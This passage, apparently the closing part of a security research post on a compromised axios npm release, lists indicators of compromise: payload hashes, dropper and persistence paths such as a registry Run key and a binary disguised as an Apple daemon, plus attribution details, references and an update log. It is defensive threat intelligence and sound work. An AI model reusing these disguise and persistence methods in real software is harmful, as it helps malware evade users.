| macOS (Mach-O binary) | `92ff08773995ebc8d55ec4b8e1a225d0d1e51efa4ef88b8849d0071230c9645a` |
| Windows (PowerShell script) | `617b67a8e1210e4fc87c92d1d1da45a2f311c08d26e89b12307cf583c900d101` |
| Linux (Python script) | `fcb81618bb15edfdedfb638b4c08a2af9cac9ecfa551af135a8402bf980375cf` |

### File system artifacts

| OS | Path | Description |
| :---- | :---- | :---- |
| macOS | `/Library/Caches/com.apple.act.mond` | Downloaded binary disguised as Apple daemon |
| macOS | `$TMPDIR/6202033` | AppleScript dropper (self-deleting) |
| Windows | `%PROGRAMDATA%\wt.exe` | Renamed copy of PowerShell |
| Windows | `%PROGRAMDATA%\system.bat` | Persistence script (re-fetches payload on login) |
| Windows | `HKCU\Software\Microsoft\Windows\CurrentVersion\Run\MicrosoftUpdate` | Run key for persistence |
| Windows | `%TEMP%\6202033.vbs` | VBScript dropper (self-deleting) |
| Windows | `%TEMP%\6202033.ps1` | Downloaded PowerShell payload |
| Linux | `/tmp/ld.py` | Downloaded Python payload |
| Linux | `/tmp/.<random 6 chars>` | Binary dropped by `peinject` command |

### Attribution artifacts

| Artifact | Value |
| :---- | :---- |
| Xcode project name | `macWebT` |
| macOS dev username | `mac` |
| Dev directory | `/Users/mac/Desktop/Jain_DEV/client_mac/macWebT/` |
| Build hash | `macWebT-55554944c848257813983360905d7ad0f7e5e3f5` |
| npm attacker email (axios) | `ifstap@proton.me` |
| npm attacker email (`plain-crypto-js`) | `nrwise@proton.me` (as [reported by StepSecurity](https://www.stepsecurity.io/blog/axios-compromised-on-npm-malicious-versions-drop-remote-access-trojan)) |
| Obfuscation key | `OrDeR_7077` |
| Campaign ID | `6202033` |

## References

- [MAL-2026-2307 (OSV)](https://osv.dev/vulnerability/MAL-2026-2307)
- [GHSA-fw8c-xr5c-95f9 (GitHub Advisory)](https://github.com/advisories/GHSA-fw8c-xr5c-95f9)
- [axios/axios#10604 (GitHub issue)](https://github.com/axios/axios/issues/10604)
- [StepSecurity: axios compromised on npm](https://www.stepsecurity.io/blog/axios-compromised-on-npm-malicious-versions-drop-remote-access-trojan)
- [axios/axios#10636 - Maintainer account compromise details (GitHub issue)](https://github.com/axios/axios/issues/10636)

## Acknowledgements

Thanks to Matt Muir, Sebastian Obregoso, Eslam Salem, Ian Kretz, Seth Art, and Martin McCloskey for their contributions to this research.

## Updates made to this entry

- **2026-04-02**: Added sections on identifying if you're affected and protecting against similar attacks.
- **2026-04-02**: Corrected Axios weekly download count from 3 million to over 100 million.
- **2026-04-02**: Added a note on Datadog's exposure and a link to the Trust Center.
- **2026-04-03**: Added details on how the maintainer's account was compromised through social engineering.
